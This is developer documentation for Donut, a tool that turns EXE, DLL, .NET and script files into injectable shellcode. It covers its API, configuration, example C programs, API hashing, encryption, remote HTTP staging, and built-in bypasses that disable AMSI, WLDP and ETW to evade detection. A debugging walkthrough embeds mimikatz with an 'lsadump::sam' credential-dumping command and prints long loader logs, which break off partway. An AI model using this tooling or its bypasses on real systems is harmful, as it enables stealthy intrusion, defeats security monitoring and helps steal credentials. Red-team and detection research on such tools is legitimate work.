- Introduction
- Donut API
- Donut Configuration
- Static Example
- Dynamic Example
- Donut Components
- Donut Instance
- Donut Module
- Win32 API Hashing
- Symmetric Encryption
- Bypasses for AMSI/WLDP
- Debugging The Generator and Loader
- Extending The Loader
This document contains information useful to developers that want to integrate Donut into their own project or write their own generator in a different language. Static and dynamic examples in C are provided for Windows and Linux. There's also information about the internals of the generator and loader such as data structures, the hash algorithm for resolving API, how bypassing AMSI and WLDP works, the symmetric encryption, debugging the generator and loader. Finally, there's also some information on how to extend functionality of the loader itself.
Shared/dynamic and static libraries for both Windows and Linux provide access to three API.
int DonutCreate(PDONUT_CONFIG)
int DonutDelete(PDONUT_CONFIG)
const char* DonutError(int error)
Builds the Donut shellcode/loader using settings stored in a DONUT_CONFIG
structure.
Releases any resources allocated by a successful call to DonutCreate
.
Returns a description for an error code returned by DonutCreate
.
The Donut project already contains a generator in C. nixbyte has written a generator in C#. awgh has written a generator in Go and byt3bl33d3r has written a Python module already included with the source.
The minimum configuration required to build the loader is a path to a VBS/JS/EXE/DLL file that will be executed in-memory. If the file is a .NET DLL, a class and method are required. If the module will be stored on a HTTP server, a URL is required. The following structure is declared in donut.h and should be zero initialized prior to setting any member.
typedef struct _DONUT_CONFIG { uint32_t len, zlen; // original length of input file and compressed length // general / misc options for loader int arch; // target architecture int bypass; // bypass option for AMSI/WDLP int compress; // engine to use when compressing file via RtlCompressBuffer int entropy; // entropy/encryption level int format; // output format for loader int exit_opt; // return to caller or invoke RtlExitUserProcess to terminate the host process int thread; // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API uint32_t oep; // original entrypoint of target host file // files in/out char input[DONUT_MAX_NAME]; // name of input file to read and load in-memory char output[DONUT_MAX_NAME]; // name of output file to save loader // .NET stuff char runtime[DONUT_MAX_NAME]; // runtime version to use for CLR char domain[DONUT_MAX_NAME]; // name of domain to create for .NET DLL/EXE char cls[DONUT_MAX_NAME]; // name of class with optional namespace for .NET DLL char method[DONUT_MAX_NAME]; // name of method or DLL function to invoke for .NET DLL and unmanaged DLL // command line for DLL/EXE char param[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE int unicode; // param is passed to DLL function without converting to unicode // HTTP/DNS staging information char server[DONUT_MAX_NAME]; // points to root path of where module will be stored on remote HTTP server or DNS server char modname[DONUT_MAX_NAME]; // name of module written to disk for http stager // DONUT_MODULE int mod_type; // VBS/JS/DLL/EXE int mod_len; // size of DONUT_MODULE DONUT_MODULE *mod; // points to DONUT_MODULE // DONUT_INSTANCE int inst_type; // DONUT_INSTANCE_EMBED or DONUT_INSTANCE_HTTP int inst_len; // size of DONUT_INSTANCE DONUT_INSTANCE *inst; // points to DONUT_INSTANCE // shellcode generated from configuration int pic_len; // size of loader/shellcode void* pic; // points to loader/shellcode } DONUT_CONFIG, *PDONUT_CONFIG;
The following table provides a description of each member.
Member | Description |
---|---|
len, zlen |
len holds the length of the file to execute in-memory. If compression is used, zlen will hold the length of file compressed. |
arch |
Indicates the type of assembly code to generate. DONUT_ARCH_X86 and DONUT_ARCH_X64 are self-explanatory. DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point. |
bypass |
Specifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution. |
compress |
Indicates if the input file should be compressed. Available engines are DONUT_COMPRESS_APLIB to use the aPLib algorithm. For builds on Windows, the RtlCompressBuffer API is available and supports DONUT_COMPRESS_LZNT1 , DONUT_COMPRESS_XPRESS and DONUT_COMPRESS_XPRESS_HUFF . |
entropy |
Indicates whether Donut should use entropy and/or encryption for the loader to help evade detection. Available options are DONUT_ENTROPY_NONE , DONUT_ENTROPY_RANDOM , which generates random strings and DONUT_ENTROPY_DEFAULT that combines DONUT_ENTROPY_RANDOM with symmetric encryption. |
format |
Specifies the output format for the shellcode loader. Supported formats are DONUT_FORMAT_BINARY , DONUT_FORMAT_BASE64 , DONUT_FORMAT_RUBY , DONUT_FORMAT_C , DONUT_FORMAT_PYTHON , DONUT_FORMAT_POWERSHELL , DONUT_FORMAT_CSHARP and DONUT_FORMAT_HEX . On Windows, the base64 string is copied to the clipboard. |
exit_opt |
When the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Set this to DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API.Use 3=DONUT_OPT_EXIT_BLOCK to not exit or cleanup and instead block indefinitely. |
thread |
If the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and Donut may use code splicing / hooking in the future. |
oep |
Tells the loader to create a new thread before continuing execution at the OEP provided by the user. Address should be in hexadecimal format. |
input |
The path of file to execute in-memory. VBS/JS/EXE/DLL files are supported. |
output |
The path of where to save the shellcode/loader. Default is "loader.bin". |
runtime |
The CLR runtime version to use for a .NET assembly. If none is provided, Donut will try reading from the PE's COM directory. If that fails, v4.0.30319 is used by default. |
domain |
AppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA" |
cls |
The class name with method to invoke. A namespace is optional. e.g: namespace.class |
method |
The method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL. |
param |
String with a list of parameters for the .NET method or DLL function. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA" |
unicode |
By default, the param string is passed to an unmanaged DLL function as-is, in ANSI format. If set, param is converted to UNICODE. |
server |
If the instance type is DONUT_INSTANCE_HTTP , this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/ |
modname |
If the type is DONUT_INSTANCE_HTTP , this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA" |
mod_type |
Indicates the type of file detected by DonutCreate . For example, DONUT_MODULE_VBS indicates a VBScript file. |
mod_len |
The total size of the Module pointed to by mod . |
mod |
Points to encrypted Module. If the type is DONUT_INSTANCE_HTTP , this should be saved to file using the modname and accessible via HTTP server. |
inst_type |
DONUT_INSTANCE_EMBED indicates a self-contained payload which means the file is embedded. DONUT_INSTANCE_HTTP indicates the file is stored on a remote HTTP server. |
inst_len |
The total size of the Instance pointed to by inst . |
inst |
Points to an encrypted Instance after a successful call to DonutCreate . Since it's already attached to the pic , this is only provided for debugging purposes. |
pic_len |
The size of data pointed to by pic . |
pic |
Points to the loader/shellcode. This should be injected into a remote process. |
The following is linked with the static library donut.lib on Windows or donut.a on Linux.
#include "donut.h" int main(int argc, char *argv[]) { DONUT_CONFIG c; int err; FILE *out; // need at least a file if(argc != 2) { printf(" [ usage: donut_static <EXE>\n"); return 0; } memset(&c, 0, sizeof(c)); // copy input file lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); // default settings c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails c.format = DONUT_FORMAT_BINARY; // default output format c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread c.thread = 1; // run entrypoint as a thread c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function // generate the shellcode err = DonutCreate(&c); if(err != DONUT_ERROR_SUCCESS) { printf(" [ Error : %s\n", DonutError(err)); return 0; } printf(" [ loader saved to %s\n", c.output); DonutDelete(&c); return 0; }
This example requires access to donut.dll on Windows or donut.so on Linux.
#include "donut.h" int main(int argc, char *argv[]) { DONUT_CONFIG c; int err; // function pointers DonutCreate_t _DonutCreate; DonutDelete_t _DonutDelete; DonutError_t _DonutError; // need at least a file if(argc != 2) { printf(" [ usage: donut_dynamic <file>\n"); return 0; } // try load donut.dll or donut.so #if defined(WINDOWS) HMODULE m = LoadLibrary("donut.dll"); if(m != NULL) { _DonutCreate = (DonutCreate_t)GetProcAddress(m, "DonutCreate"); _DonutDelete = (DonutDelete_t)GetProcAddress(m, "DonutDelete"); _DonutError = (DonutError_t) GetProcAddress(m, "DonutError"); if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { printf(" [ Unable to resolve Donut API.\n"); return 0; } } else { printf(" [ Unable to load donut.dll.\n"); return 0; } #else void *m = dlopen("donut.so", RTLD_LAZY); if(m != NULL) { _DonutCreate = (DonutCreate_t)dlsym(m, "DonutCreate"); _DonutDelete = (DonutDelete_t)dlsym(m, "DonutDelete"); _DonutError = (DonutError_t) dlsym(m, "DonutError"); if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { printf(" [ Unable to resolve Donut API.\n"); return 0; } } else { printf(" [ Unable to load donut.so.\n"); return 0; } #endif memset(&c, 0, sizeof(c)); // copy input file lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); // default settings c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails c.format = DONUT_FORMAT_BINARY; // default output format c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread c.thread = 1; // run entrypoint as a thread c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function // generate the shellcode err = _DonutCreate(&c); if(err != DONUT_ERROR_SUCCESS) { printf(" [ Error : %s\n", _DonutError(err)); return 0; } printf(" [ loader saved to %s\n", c.output); _DonutDelete(&c); return 0; }
Everything that follows concerns internal workings of Donut and is not required knowledge to generate the shellcode/loader.
The following table lists the name of each file and what it's used for.
File | Description |
---|---|
donut.c | Main file for the shellcode generator. |
include/donut.h | C header file used by the generator. |
lib/donut.dll and lib/donut.lib | Dynamic and static libraries for Microsoft Windows. |
lib/donut.so and lib/donut.a | Dynamic and static libraries for Linux. |
lib/donut.h | C header file to be used in C/C++ based projects. |
donutmodule.c | The CPython wrapper for Donut. Used by the Python module. |
setup.py | The setup file for installing Donut as a Pip Python3 module. |
hash.c | Maru hash function. Uses the Speck 64-bit block cipher with Davies-Meyer construction for API hashing. |
encrypt.c | Chaskey block cipher for encrypting modules. |
loader/loader.c | Main file for the shellcode. |
loader/inmem_dotnet.c | In-Memory loader for .NET EXE/DLL assemblies. |
loader/inmem_pe.c | In-Memory loader for EXE/DLL files. |
loader/inmem_script.c | In-Memory loader for VBScript/JScript files. |
loader/activescript.c | ActiveScriptSite interface required for in-memory execution of VBS/JS files. |
loader/wscript.c | Supports a number of WScript methods that cscript/wscript support. |
loader/depack.c | Supports unpacking of modules compressed with aPLib. |
loader/bypass.c | Functions to bypass Anti-malware Scan Interface (AMSI) and Windows Local Device Policy (WLDP). |
loader/http_client.c | Downloads a module from remote staging server into memory. |
loader/peb.c | Used to resolve the address of DLL functions via Process Environment Block (PEB). |
loader/clib.c | Replaces common C library functions like memcmp, memcpy and memset. |
loader/getpc.c | Assembly code stub to return the value of the EIP register. |
loader/inject.c | Simple process injector for Windows that can be used for testing the loader. |
loader/runsc.c | Simple shellcode runner for Linux and Windows that can be used for testing the loader. |
loader/exe2h/exe2h.c | Extracts the machine code from compiled loader and saves as array to C header and Go files. |
The loader will always contain an Instance which can be viewed simply as a configuration. It will contain all the data that would normally be stored on the stack or in the .data
and .rodata
sections of an executable. Once the main code executes, if encryption is enabled, it will decrypt the data before attempting to resolve the address of API functions. If successful, it will check if an executable file is embedded or must be downloaded from a remote staging server. To verify successful decryption of a module, a randomly generated string stored in the sig
field is hashed using Maru and compared with the value of mac
. The data will be decompressed if required and only then is it loaded into memory for execution.
Modules can be embedded in an Instance or stored on a remote HTTP server.
typedef struct _DONUT_MODULE { int type; // EXE/DLL/JS/VBS int thread; // run entrypoint of unmanaged EXE as a thread int compress; // indicates engine used for compression char runtime[DONUT_MAX_NAME]; // runtime version for .NET EXE/DLL char domain[DONUT_MAX_NAME]; // domain name to use for .NET EXE/DLL char cls[DONUT_MAX_NAME]; // name of class and optional namespace for .NET EXE/DLL char method[DONUT_MAX_NAME]; // name of method to invoke for .NET DLL or api for unmanaged DLL char param[DONUT_MAX_NAME]; // string parameters for both managed and unmanaged DLL/EXE int unicode; // convert param to unicode before passing to DLL function char sig[DONUT_SIG_LEN]; // string to verify decryption uint64_t mac; // hash of sig, to verify decryption was ok uint32_t zlen; // compressed size of EXE/DLL/JS/VBS file uint32_t len; // real size of EXE/DLL/JS/VBS file uint8_t data[4]; // data of EXE/DLL/JS/VBS file } DONUT_MODULE, *PDONUT_MODULE;
A hash function called Maru is used to resolve the address of API at runtime. It uses a Davies-Meyer construction and the SPECK block cipher to derive a 64-bit hash from an API string. The padding is similar to what's used by MD4 and MD5 except only 32-bits of the string length are stored in the buffer instead of 64-bits. An initial value (IV) chosen randomly ensures the 64-bit API hashes are unique for each instance and cannot be used for detection of Donut. Future releases will likely support alternative methods of resolving address of API to decrease chance of detection.
The following structure is used to hold a master key, counter and nonce for Donut, which are generated randomly.
typedef struct _DONUT_CRYPT { BYTE mk[DONUT_KEY_LEN]; // master key BYTE ctr[DONUT_BLK_LEN]; // counter + nonce } DONUT_CRYPT, *PDONUT_CRYPT;
Chaskey, a 128-bit block cipher with support for 128-bit keys, is used in Counter (CTR) mode to decrypt a Module or an Instance at runtime. If an adversary discovers a staging server, it should not be feasible for them to decrypt a donut module without the key which is stored in the donut loader. Future releases will support downloading a key via DNS and also asymmetric encryption.
Donut includes a bypass system for AMSI, WLDP, and ETW. Currently, Donut can bypass:
- AMSI in .NET v4.8
- Event Tracing for Windows (ETW) logging Assembly loads
- Device Guard policy preventing dynamically generated code from executing.
You may customize our bypasses or add your own. The bypass logic is defined in loader/bypass.c. Each bypass implements the DisableAMSI with the signature BOOL DisableAMSI(PDONUT_INSTANCE inst)
and DisableWLDP with BOOL DisableWLDP(PDONUT_INSTANCE inst)
, both of which have a corresponding preprocessor directive. We have several #if defined
blocks that check for definitions. Each block implements the same bypass function. For instance, our first bypass for AMSI is called BYPASS_AMSI_A
. If donut is built with that variable defined, then that bypass will be used.
Why do it this way? Because it means that only the bypass you are using is built into loader.exe. As a result, the others are not included in your shellcode. This reduces the size and complexity of your shellcode, adds modularity to the design, and ensures that scanners cannot find suspicious blocks in your shellcode that you are not actually using.
Another benefit of this design is that you may write your own AMSI/WLDP/ETW bypass. To build Donut with your new bypass, use an if defined
block for your bypass and modify the makefile to add an option that builds with the name of your bypass defined.
If you wanted to, you could extend our bypass system to add in other pre-execution logic that runs before your .NET Assembly is loaded.
The loader is capable of displaying detailed information about each step of file execution and can be useful in tracking down bugs. To build a debug-enabled executable, specify the debug label with nmake/make on Windows.
nmake debug -f Makefile.msvc make debug -f Makefile.mingw
Use Donut to create a shellcode as you normally would and a file called instance
will be saved to disk. The following example embeds mimikatz.exe in the loader using the Xpress Huffman compression algorithm. It also tells the loader to run the entrypoint as a thread, so that when mimikatz calls an exit-related API, it simply exits the thread.
C:\hub\donut>donut -t -z5 mimikatz.exe -p"lsadump::sam exit" [ Donut shellcode generator v0.9.3 [ Copyright (c) 2019 TheWover, Odzhan DEBUG: donut.c:1505:DonutCreate(): Entering. DEBUG: donut.c:1283:validate_loader_cfg(): Validating loader configuration. DEBUG: donut.c:1380:validate_loader_cfg(): Loader configuration passed validation. DEBUG: donut.c:459:read_file_info(): Entering. DEBUG: donut.c:467:read_file_info(): Checking extension of mimikatz.exe DEBUG: donut.c:475:read_file_info(): Extension is ".exe" DEBUG: donut.c:491:read_file_info(): File is EXE DEBUG: donut.c:503:read_file_info(): Mapping mimikatz.exe into memory DEBUG: donut.c:245:map_file(): Entering. DEBUG: donut.c:531:read_file_info(): Checking characteristics DEBUG: donut.c:582:read_file_info(): Leaving with error : 0 DEBUG: donut.c:1446:validate_file_cfg(): Validating configuration for input file. DEBUG: donut.c:1488:validate_file_cfg(): Validation passed. DEBUG: donut.c:674:build_module(): Entering. DEBUG: donut.c:381:compress_file(): Reading fragment and workspace size DEBUG: donut.c:387:compress_file(): workspace size : 1415999 | fragment size : 5161 DEBUG: donut.c:390:compress_file(): Allocating memory for compressed data. DEBUG: donut.c:396:compress_file(): Compressing 0000024E9D7E0000 to 0000024E9DA50080 with RtlCompressBuffer(XPRESS HUFFMAN) DEBUG: donut.c:433:compress_file(): Original file size : 1013912 | Compressed : 478726 DEBUG: donut.c:434:compress_file(): File size reduced by 53% DEBUG: donut.c:436:compress_file(): Leaving with error : 0 DEBUG: donut.c:684:build_module(): Assigning 478726 bytes of 0000024E9DA50080 to data DEBUG: donut.c:695:build_module(): Allocating 480054 bytes of memory for DONUT_MODULE DEBUG: donut.c:772:build_module(): Copying data to module DEBUG: donut.c:784:build_module(): Leaving with error : 0 DEBUG: donut.c:804:build_instance(): Entering. DEBUG: donut.c:807:build_instance(): Allocating memory for instance DEBUG: donut.c:814:build_instance(): The size of module is 480054 bytes. Adding to size of instance. DEBUG: donut.c:817:build_instance(): Total length of instance : 483718 DEBUG: donut.c:846:build_instance(): Generating random key for instance DEBUG: donut.c:855:build_instance(): Generating random key for module DEBUG: donut.c:864:build_instance(): Generating random string to verify decryption DEBUG: donut.c:871:build_instance(): Generating random IV for Maru hash DEBUG: donut.c:879:build_instance(): Generating hashes for API using IV: 546E2FF018FD2A54 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : LoadLibraryA = ABB30FFE918BCF83 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : GetProcAddress = EF2C0663C0CDDC21 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : GetModuleHandleA = D40916771ECED480 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : VirtualAlloc = E445DF6F06219E85 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : VirtualFree = C6C992D6040B85A8 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : VirtualQuery = 556BF46109D12C9E DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : VirtualProtect = 032546126BB99713 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : Sleep = DEB476FF0E3D71E8 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : MultiByteToWideChar = A0DD238846F064F4 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : GetUserDefaultLCID = 03DE3865FC2DF17B DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : WaitForSingleObject = 40FCB82879AAB610 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : CreateThread = 954101E48C1D54F5 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : GetThreadContext = 18669E0FDC3FD0B8 DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll : GetCurrentThread = EB6E7C47D574D9F9 DEBUG: donut.c:892:build_instance(): Hash for shell32.dll : CommandLineToArgvW = EFD410EF534D57C3 DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayCreate = A5AA007611CB6580 DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayCreateVector = D5CEC16DD247A68A DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayPutElement = 6B140B7B87F27359 DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayDestroy = C2FA65C58C68FC6C DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayGetLBound = ED5A331176BB8DDA DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SafeArrayGetUBound = EA0D8BE258DC67DA DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SysAllocString = 3A7BBDEAA1DC3354 DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : SysFreeString = EEB92DFE18B7C306 DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll : LoadTypeLib = 687DD816E578C4E7 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetCrackUrlA = B0F95D86327741EC DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetOpenA = BDD70375BB72B131 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetConnectA = E74A4DD56C6B3154 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetSetOptionA = 527C502C0BC36267 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetReadFile = 055C3E8A4CF21475 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : InternetCloseHandle = 4D1965E404D783BA DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : HttpOpenRequestA = CC736E0143DB8F2A DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : HttpSendRequestA = C87BFE8578BB0049 DEBUG: donut.c:892:build_instance(): Hash for wininet.dll : HttpQueryInfoA = FC7CC8D82764DFBF DEBUG: donut.c:892:build_instance(): Hash for mscoree.dll : CorBindToRuntime = 6F6432B588D39C8D DEBUG: donut.c:892:build_instance(): Hash for mscoree.dll : CLRCreateInstance = 2828FB8F68349704 DEBUG: donut.c:892:build_instance(): Hash for ole32.dll : CoInitializeEx = 9752F1AA167F8E79 DEBUG: donut.c:892:build_instance(): Hash for ole32.dll : CoCreateInstance = 8211344A519AF3BA DEBUG: donut.c:892:build_instance(): Hash for ole32.dll : CoUninitialize = FF0605E1258BEE44 DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlEqualUnicodeString = D5CEDA5C642834D7 DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlEqualString = A69EAF72442222A4 DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlUnicodeStringToAnsiString = 4DBA40D90962E1D6 DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlInitUnicodeString = A1143A47656B2526 DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlExitUserThread = 62FF88CDC045477E DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlExitUserProcess = E20BCE2C11E82C7B DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlCreateUnicodeString = A469294ED1E1D8DC DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlGetCompressionWorkSpaceSize = 61E26E7C5DD38D2C DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : RtlDecompressBufferEx = 145C8CF24F5EAF3E DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll : NtContinue = 12ACA3AD3CC20AF5 DEBUG: donut.c:895:build_instance(): Setting number of API to 48 DEBUG: donut.c:898:build_instance(): Setting DLL names to ole32;oleaut32;wininet;mscoree;shell32 DEBUG: donut.c:941:build_instance(): Copying strings required to bypass AMSI DEBUG: donut.c:949:build_instance(): Copying strings required to bypass WLDP DEBUG: donut.c:960:build_instance(): Copying strings required to replace command line. DEBUG: donut.c:968:build_instance(): Copying strings required to intercept exit-related API DEBUG: donut.c:1018:build_instance(): Copying module data to instance DEBUG: donut.c:1024:build_instance(): Encrypting instance DEBUG: donut.c:1042:build_instance(): Leaving with error : 0 DEBUG: donut.c:1210:build_loader(): Inserting opcodes DEBUG: donut.c:1248:build_loader(): Copying 29548 bytes of x86 + amd64 shellcode DEBUG: donut.c:1090:save_loader(): Saving instance 0000024E9DE90080 to file. 483718 bytes. DEBUG: donut.c:1061:save_file(): Entering. DEBUG: donut.c:1065:save_file(): Writing 483718 bytes of 0000024E9DE90080 to instance DEBUG: donut.c:1070:save_file(): Leaving with error : 0 DEBUG: donut.c:1139:save_loader(): Saving loader as binary DEBUG: donut.c:1172:save_loader(): Leaving with error : 0 DEBUG: donut.c:1540:DonutCreate(): Leaving with error : 0 [ Instance type : Embedded [ Module file : "mimikatz.exe" [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman (Reduced by 53%) [ File type : EXE [ Parameters : lsadump::sam exit [ Target CPU : x86+amd64 [ AMSI/WDLP : continue [ Shellcode : "loader.bin" DEBUG: donut.c:1556:DonutDelete(): Entering. DEBUG: donut.c:1562:DonutDelete(): Releasing memory for module. DEBUG: donut.c:1568:DonutDelete(): Releasing memory for configuration. DEBUG: donut.c:1574:DonutDelete(): Releasing memory for loader. DEBUG: donut.c:289:unmap_file(): Releasing compressed data. DEBUG: donut.c:294:unmap_file(): Unmapping input file. DEBUG: donut.c:299:unmap_file(): Closing input file. DEBUG: donut.c:1580:DonutDelete(): Leaving.
If successfully created, there should now be a file called "instance" in the same directory as the loader. Pass the instance file as a parameter to loader.exe which should also be in the same directory.
C:\hub\donut>loader instance Running... DEBUG: loader/loader.c:109:MainProc(): Maru IV : 546E2FF018FD2A54 DEBUG: loader/loader.c:112:MainProc(): Resolving address for VirtualAlloc() : E445DF6F06219E85 DEBUG: loader/loader.c:116:MainProc(): Resolving address for VirtualFree() : C6C992D6040B85A8 DEBUG: loader/loader.c:120:MainProc(): Resolving address for RtlExitUserProcess() : E20BCE2C11E82C7B DEBUG: loader/loader.c:129:MainProc(): VirtualAlloc : 00007FFFD1DAA190 VirtualFree : 00007FFFD1DAA180 DEBUG: loader/loader.c:131:MainProc(): Allocating 483718 bytes of RW memory DEBUG: loader/loader.c:143:MainProc(): Copying 483718 bytes of data to memory 00000178FEA30000 DEBUG: loader/loader.c:147:MainProc(): Zero initializing PDONUT_ASSEMBLY DEBUG: loader/loader.c:156:MainProc(): Decrypting 483718 bytes of instance DEBUG: loader/loader.c:163:MainProc(): Generating hash to verify decryption DEBUG: loader/loader.c:165:MainProc(): Instance : 33C49D5864287AEF | Result : 33C49D5864287AEF DEBUG: loader/loader.c:172:MainProc(): Resolving LoadLibraryA DEBUG: loader/loader.c:189:MainProc(): Loading ole32 DEBUG: loader/loader.c:189:MainProc(): Loading oleaut32 DEBUG: loader/loader.c:189:MainProc(): Loading wininet DEBUG: loader/loader.c:189:MainProc(): Loading mscoree DEBUG: loader/loader.c:189:MainProc(): Loading shell32 DEBUG: loader/loader.c:193:MainProc(): Resolving 48 API DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EF2C0663C0CDDC21 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D40916771ECED480 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E445DF6F06219E85 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C6C992D6040B85A8 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 556BF46109D12C9E DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 032546126BB99713 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for DEB476FF0E3D71E8 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A0DD238846F064F4 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 03DE3865FC2DF17B DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 40FCB82879AAB610 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 954101E48C1D54F5 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 18669E0FDC3FD0B8 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EB6E7C47D574D9F9 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EFD410EF534D57C3 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A5AA007611CB6580 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D5CEC16DD247A68A DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6B140B7B87F27359 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C2FA65C58C68FC6C DEBUG: loader/loader.c:196:MainProc(): Resolving API address for ED5A331176BB8DDA DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EA0D8BE258DC67DA DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 3A7BBDEAA1DC3354 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EEB92DFE18B7C306 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 687DD816E578C4E7 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for B0F95D86327741EC DEBUG: loader/loader.c:196:MainProc(): Resolving API address for BDD70375BB72B131 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E74A4DD56C6B3154 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 527C502C0BC36267 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 055C3E8A4CF21475 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 4D1965E404D783BA DEBUG: loader/loader.c:196:MainProc(): Resolving API address for CC736E0143DB8F2A DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C87BFE8578BB0049 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for FC7CC8D82764DFBF DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6F6432B588D39C8D DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 2828FB8F68349704 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 9752F1AA167F8E79 DEBUG: peb.c:87:FindExport(): 9752f1aa167f8e79 is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx) DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 8211344A519AF3BA DEBUG: peb.c:87:FindExport(): 8211344a519af3ba is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance DEBUG: 